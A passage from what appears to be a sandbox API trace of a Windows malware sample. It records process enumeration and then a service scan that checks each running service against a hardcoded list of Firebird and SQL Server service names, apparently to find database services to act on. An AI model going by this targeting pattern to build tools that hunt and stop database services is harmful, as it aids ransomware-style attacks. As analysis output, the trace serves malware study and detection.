lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.568] lstrlenW (lpString="svchost.exe") returned 11 [0268.568] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.569] lstrlenW (lpString="audiodg.exe") returned 11 [0268.569] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.570] lstrlenW (lpString="sihost.exe") returned 10 [0268.570] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.571] lstrlenW (lpString="svchost.exe") returned 11 [0268.571] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.572] lstrlenW (lpString="taskhostw.exe") returned 13 [0268.572] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0268.572] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0268.572] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0268.573] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0268.573] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0268.574] lstrlenW (lpString="Memory Compression") returned 18 [0268.574] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.575] lstrlenW (lpString="explorer.exe") returned 12 [0268.575] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.576] lstrlenW (lpString="SearchUI.exe") returned 12 [0268.576] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.576] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0268.576] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.577] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0268.577] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.579] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0268.579] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0268.580] lstrlenW (lpString="finbbp.exe") returned 10 [0268.580] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.581] lstrlenW (lpString="consent.exe") returned 11 [0268.581] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.582] lstrlenW (lpString="svchost.exe") returned 11 [0268.582] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.582] lstrlenW (lpString="dllhost.exe") returned 11 [0268.583] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0268.583] CloseHandle (hObject=0x304) returned 1 [0268.584] Sleep (dwMilliseconds=0x1f4) [0269.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0269.648] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0269.649] GetLastError () returned 0xea [0269.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5060050 [0269.649] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5060050, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5060050, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0269.650] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0269.651] lstrlenW (lpString="Appinfo") returned 7 [0269.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0269.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0269.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0269.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0269.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0269.652] lstrlenW (lpString="AppXSvc") returned 7 [0269.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0269.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0269.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0269.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0269.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0269.652] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.652] lstrlenW (lpString="Audiosrv") returned 8 [0269.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0269.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0269.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0269.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0269.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0269.653] lstrlenW (lpString="BFE") returned 3 [0269.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.653] lstrlenW (lpString="BITS") returned 4 [0269.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0269.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0269.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0269.653] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0269.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0269.653] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0269.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.653] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0269.654] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0269.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0269.654] lstrlenW (lpString="CDPSvc") returned 6 [0269.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0269.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0269.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0269.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0269.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0269.654] lstrlenW (lpString="ClickToRunSvc") returned 13 [0269.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0269.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0269.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0269.654] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0269.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.654] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0269.654] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0269.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0269.655] lstrlenW (lpString="CryptSvc") returned 8 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.655] lstrlenW (lpString="DcomLaunch") returned 10 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.655] lstrlenW (lpString="DeviceAssociationService") returned 24 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0269.655] lstrlenW (lpString="Dhcp") returned 4 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.655] lstrlenW (lpString="Dnscache") returned 8 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.656] lstrlenW (lpString="DPS") returned 3 [0269.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.656] lstrlenW (lpString="DusmSvc") returned 7 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0269.657] lstrlenW (lpString="EventLog") returned 8 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0269.657] lstrlenW (lpString="EventSystem") returned 11 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.657] lstrlenW (lpString="FontCache") returned 9 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0269.657] lstrlenW (lpString="gpsvc") returned 5 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.011] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.011] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.011] lstrlenW (lpString="iphlpsvc") returned 8 [0270.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.011] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0270.011] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0270.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0270.012] lstrlenW (lpString="KeyIso") returned 6 [0270.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0270.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0270.012] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0270.012] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0270.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0270.012] lstrlenW (lpString="LanmanServer") returned 12 [0270.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0270.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0270.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0270.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0270.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0270.012] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.012] lstrlenW (lpString="lfsvc") returned 5 [0270.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0270.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0270.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0270.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0270.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0270.013] lstrlenW (lpString="lmhosts") returned 7 [0270.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.013] lstrlenW (lpString="LSM") returned 3 [0270.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0270.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0270.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0270.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0270.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0270.013] lstrlenW (lpString="MpsSvc") returned 6 [0270.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.013] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.013] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0270.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.013] lstrlenW (lpString="NcbService") returned 10 [0270.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0270.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0270.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0270.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0270.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0270.014] lstrlenW (lpString="netprofm") returned 8 [0270.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0270.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0270.014] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0270.014] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0270.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0270.014] lstrlenW (lpString="NgcSvc") returned 6 [0270.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0270.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0270.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0270.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0270.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0270.014] lstrlenW (lpString="NlaSvc") returned 6 [0270.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.015] lstrlenW (lpString="nsi") returned 3 [0270.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.015] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.015] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.015] lstrlenW (lpString="PcaSvc") returned 6 [0270.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.015] lstrlenW (lpString="PlugPlay") returned 8 [0270.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.016] lstrlenW (lpString="Power") returned 5 [0270.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.016] lstrlenW (lpString="ProfSvc") returned 7 [0270.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.016] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.016] lstrlenW (lpString="RpcSs") returned 5 [0270.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 